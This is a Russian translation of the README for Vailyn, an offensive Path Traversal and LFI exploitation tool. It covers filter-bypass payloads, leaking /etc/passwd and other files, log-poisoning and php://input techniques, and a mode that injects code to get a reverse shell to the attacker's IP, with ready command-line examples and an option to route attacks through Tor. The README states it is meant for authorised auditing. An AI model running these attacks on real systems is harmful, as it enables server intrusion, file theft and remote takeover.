
Фазированный, обходной инструмент для сканирования и эксплуатации Path Traversal и LFI на Python

Фазированные атаки с обходом пути и LFI
Vailyn 3.0
Начиная с v3.0, Vailyn поддерживает LFI PHP-обёртки в Фазе 1. Используйте
--lfi, чтобы включить их в сканирование.
Vailyn — это многофазовый инструмент для анализа и эксплуатации уязвимостей типа Path Traversal (обход пути) и File Inclusion (включение файлов). Он создан для максимальной производительности и предлагает широкий арсенал техник обхода фильтров.
Vailyn работает в 2 фазы. Сначала он проверяет, присутствует ли уязвимость. Он пытается получить доступ к /etc/passwd (или указанному пользователем файлу), используя все свои обходные нагрузки (payloads). Анализируя ответы, нагрузки, которые сработали, отделяются от остальных.
Теперь пользователь может свободно выбирать, какие нагрузки использовать. Только эти нагрузки будут применяться во второй фазе.
Вторая фаза — фаза эксплуатации. Инструмент пытается извлечь все возможные файлы с сервера, используя словари файлов и каталогов. Глубина поиска и уровень перестановки каталогов могут быть настроены через аргументы. Опционально он может загружать найденные файлы и сохранять их в папке «loot». Альтернативно, он попытается получить обратную оболочку (reverse shell) на системе, предоставляя атакующему полный контроль над сервером.
В настоящее время поддерживаются несколько векторов атаки: внедрение через параметры запроса (query), путь (path), cookie и POST-данные.
Разделение на несколько фаз значительно повышает производительность инструмента. В предыдущих версиях каждая комбинация «файл-каталог» проверялась с каждой нагрузкой. Это приводило к огромным накладным расходам, так как нагрузки всегда использовались повторно, даже если они не работали для текущей страницы.
Рекомендуемые и протестированные версии Python — 3.7+, хотя инструмент должен нормально работать и с Python 3.5 и Python 3.6. Для установки Vailyn скачайте архив из раздела релизов или выполните
$ git clone https://github.com/VainlyStrain/Vailyn
После установки на систему вам потребуется установить зависимости Python.
В Unix-системах достаточно выполнить
$ pip install -r requirements.txt # --user
Некоторые библиотеки, используемые Vailyn, плохо работают с Windows или могут не установиться.
Если вы используете Windows, используйте pip для установки зависимостей, перечисленных в Vailyn\·›\requirements-windows.txt.
Если twisted не устанавливается, существует неофициальная версия, доступная здесь, которая должна собираться в Windows. Имейте в виду, что это сторонняя загрузка, и целостность не обязательно гарантируется. После успешной установки повторный запуск pip для requirements-windows.txt должен сработать.
Если вы хотите полноценно использовать модуль reverse shell, вам потребуется установить sshpass, ncat и konsole. Имена пакетов различаются в зависимости от дистрибутива Linux. В Windows вам нужно будет вручную запустить прослушиватель заранее. Если вам не нравится konsole, вы можете указать другой эмулятор терминала в core/config.py.
Вот и всё! Запустите Vailyn, перейдя в его каталог установки и выполнив
$ python Vailyn -h
Vailyn имеет 3 обязательных аргумента: -v VIC, -a INT и -p2 TP P1 P2. Однако в зависимости от -a могут потребоваться дополнительные аргументы.
, \ / ,
':. \. /\. ./ .:'
':;. :\ .,:/ ''. /; ..::'
',':.,.__.'' ' ' `:.__:''.:'
';.. ,;' *
* '., .:'
`v;. ;v' o
. ' '.. :.' ' .
' ':;, ' '
o ' . :
*
| Vailyn |
[ VainlyStrain ]
Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2
[-p PAM] [-i F] [-Pi VIC2]
[-c C] [-n] [-d I J K]
[-s T] [-t] [-L]
[-l] [-P] [-A]
mandatory:
-v VIC, --victim VIC Target to attack, part 1 [pre-payload]
-a INT, --attack INT Attack type (int, 1-5, or A)
A| Spider (all) 2| Path 5| POST Data, json
P| Spider (partial) 3| Cookie
1| Query Parameter 4| POST Data, plain
-p2 TP P1 P2, --phase2 TP P1 P2
Attack in Phase 2, and needed parameters
┌[ Values ]─────────────┬────────────────────┐
│ TP │ P1 │ P2 │
├─────────┼─────────────┼────────────────────┤
│ leak │ File Dict │ Directory Dict │
│ inject │ IP Addr │ Listening Port │
│ implant │ Source File │ Server Destination │
└─────────┴─────────────┴────────────────────┘
additional:
-p PAM, --param PAM query parameter or POST data for --attack 1, 4, 5
-i F, --check F File to check for in Phase 1 (df: etc/passwd)
-Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload]
-c C, --cookie C Cookie to append (in header format)
-l, --loot Download found files into the loot folder
-d I J K, --depths I J K
depths (I: phase 1, J: phase 2, K: permutation level)
-h, --help show this help menu and exit
-s T, --timeout T Request Timeout; stable switch for Arjun
-t, --tor Pipe attacks through the Tor anonymity network
-L, --lfi Additionally use PHP wrappers to leak files
-n, --nosploit skip Phase 2 (does not need -p2 TP P1 P2)
-P, --precise Use exact depth in Phase 1 (not a range)
-A, --app Start Vailyn's Qt5 interface
develop:
--debug Display every path tried, even 404s.
--version Print program version and exit.
--notmain Avoid notify2 crash in subprocess call.
Info:
to leak files using absolute paths: -d 0 0 0
to get a shell using absolute paths: -d 0 X 0
Vailyn в настоящее время поддерживает 5 векторов атаки и предоставляет краулер для их автоматизации. Выполняемая атака определяется аргументом -a INT.
INT attack
---- -------
1 query-based attack (https://site.com?file=../../../)
2 path-based attack (https://site.com/../../../)
3 cookie-based attack (will grab the cookies for you)
4 plain post data (ELEM1=VAL1&ELEM2=../../../)
5 json post data ({"file": "../../../"})
A spider fetch + analyze all URLs from site using all vectors
P partial spider fetch + analyze all URLs from site using only selected vectors
Вы также должны указать цель атаки. Это делается с помощью -v VIC и -Pi VIC2, где -v — часть до точки внедрения, а -Pi — остальная часть.
Пример: если конечный URL должен выглядеть так: https://site.com/download.php?file=<ATTACK>¶m2=necessaryvalue, вы можете указать -v https://site.com/download.php и -Pi ¶m2=necessaryvalue (и -p file, так как это атака через параметр запроса).
Если вы хотите включить в сканирование PHP-обёртки (например, php://filter), используйте аргумент --lfi. В конце Фазы 1 вам будет представлено дополнительное меню выбора, содержащее обёртки, которые сработали (если таковые имеются).
Если атакуемый сайт находится за страницей входа, вы можете указать cookie аутентификации через -c COOKIE. Если вы хотите атаковать через Tor, используйте --tor.
Это фаза анализа, где рабочие нагрузки отделяются от остальных.
По умолчанию производится поиск /etc/passwd. Если сервер не работает под Linux, вы можете указать свой файл с помощью -i FILENAME. Обратите внимание, что в FILENAME нужно включать подкаталоги.
Вы можете изменить глубину поиска с помощью первого значения -d (по умолчанию=8).
Если вы хотите использовать абсолютные пути, установите первую глубину в 0.
Это фаза эксплуатации, где Vailyn попытается извлечь как можно больше файлов или получить обратную оболочку с использованием различных техник.
Глубина поиска в фазе 2 (максимальное количество слоёв, проходимых назад) задаётся вторым значением аргумента -d. Уровень перестановки подкаталогов устанавливается третьим значением -d.
Если вы атакуете с абсолютными путями и выполняете атаку на утечку, установите все глубины в 0. Если вы хотите получить обратную оболочку, убедитесь, что вторая глубина больше 0.
Указав -l, Vailyn будет не только отображать файлы на терминале, но и загружать и сохранять их в папку «loot».
Если вы хотите подробный вывод (отображать каждый ответ, а не только найденные файлы), используйте --debug. Имейте в виду, что вывод становится очень запутанным — это по сути помощь при отладке.
Для выполнения атаки методом перебора (bruteforce) необходимо указать -p2 leak FIL PATH, где
Чтобы получить обратную оболочку путём внедрения кода, можно использовать -p2 inject IP PORT, где
ПРЕДУПРЕЖДЕНИЕ
Vailyn использует методы отравления журналов (Log Poisoning). Следовательно, УКАЗАННЫЙ ВАМИ IP БУДЕТ ВИДЕН В ЖУРНАЛАХ СЕРВЕРА.
Техники (работают только для LFI-включений):
/proc/self/environ inclusion — работает только на устаревших серверахApache + Nginx Log Poisoning & inclusionSSH Log Poisoningpoisoned mail inclusionexpect://data:// (plain & b64)php://inputДля отличия реальных результатов от ложных срабатываний Vailyn выполняет следующие проверки:
-a 2 выполняет дополнительную проверку, совпадает ли содержимое ответа с содержимым корневого URL сервера/etc/passwd, если этот файл используется для поискаПростая атака через параметр запроса, утечка файлов в Фазе 2:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file --> http://site.com/download.php?file=../INJECT
Атака через параметр запроса, но я знаю, что файл file.php находится ровно на 2 уровня выше точки включения:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P
Это значительно сократит продолжительность Фазы 1, так как это целевая атака.
Простая атака через путь:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs --> http://site.com/../INJECT
Атака через путь, но мне нужны параметры запроса и тег:
$ Vailyn -v "http://site.com/" -a 2 -p2 leak dicts/files dicts/dirs -Pi "?token=X#title" --> http://site.com/../INJECT?token=X#title
Простая атака через Cookie:
$ Vailyn -v "http://site.com/cookiemonster.php" -a 3 -p2 leak dicts/files dicts/dirs
Получит cookies и вы сможете выбрать cookie для отравления.
Краулер Vailyn анализирует уязвимое веб-приложение. LFI-обёртки не включены.
Нашли ложные срабатывания (или хотите указать на другие ошибки/улучшения): пожалуйста, оставьте issue!
Vailyn предоставляется как инструмент для оффенсивного аудита веб-приложений. Он имеет встроенные функции, которые могут выявить потенциальные уязвимости в веб-приложениях, которые могут быть использованы злонамеренно.
ПОЭТОМУ НИ АВТОР, НИ УЧАСТНИКИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕНАДЛЕЖАЩЕЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЁННЫЙ ЭТИМ ИНСТРУМЕНТОМ.
Используя данное программное обеспечение, пользователь обязуется соблюдать местные законы, не атаковать чужие системы без явного разрешения владельца и не действовать со злым умыслом.
В случае нарушения ответственность за свои действия несёт только конечный пользователь, совершивший его.
Vailyn: Copyright © VainlyStrain
Arjun: Copyright © s0md3v
Arjun больше не распространяется вместе с Vailyn. Установите его последнюю версию через pip.
POST-атака с простыми данными:
$ Vailyn -v "http://site.com/download.php" -a 4 -p2 leak dicts/files dicts/dirs -p "DATA1=xx&DATA2=INJECT"
заразит DATA2 нагрузкой.
POST-атака с JSON:
$ Vailyn -v "http://site.com/download.php" -a 5 -p2 leak dicts/files dicts/dirs -p '{"file": "INJECT"}'
Атака, но цель находится за экраном входа:
$ Vailyn -v "http://site.com/" -a 1 -p2 leak dicts/files dicts/dirs -c "sessionid=foobar"
Атака, но я хочу получить обратную оболочку на порт 1337:
$ Vailyn -v "http://site.com/download.php" -a 1 -p2 inject MY.IP.IS.XX 1337 # высокая глубина Фазы 2 необходима для внедрения в журнал
(запустит для вас прослушиватель ncat, если вы на Unix)
Полная автоматизация в режиме краулера:
$ Vailyn -v "http://root-url.site" -a A здесь также можно указать другие аргументы, такие как cookie, глубины, lfi и файл поиска
Полная автоматизация, но Arjun требует --stable:
$ Vailyn -v "http://root-url.site" -a A -s ANY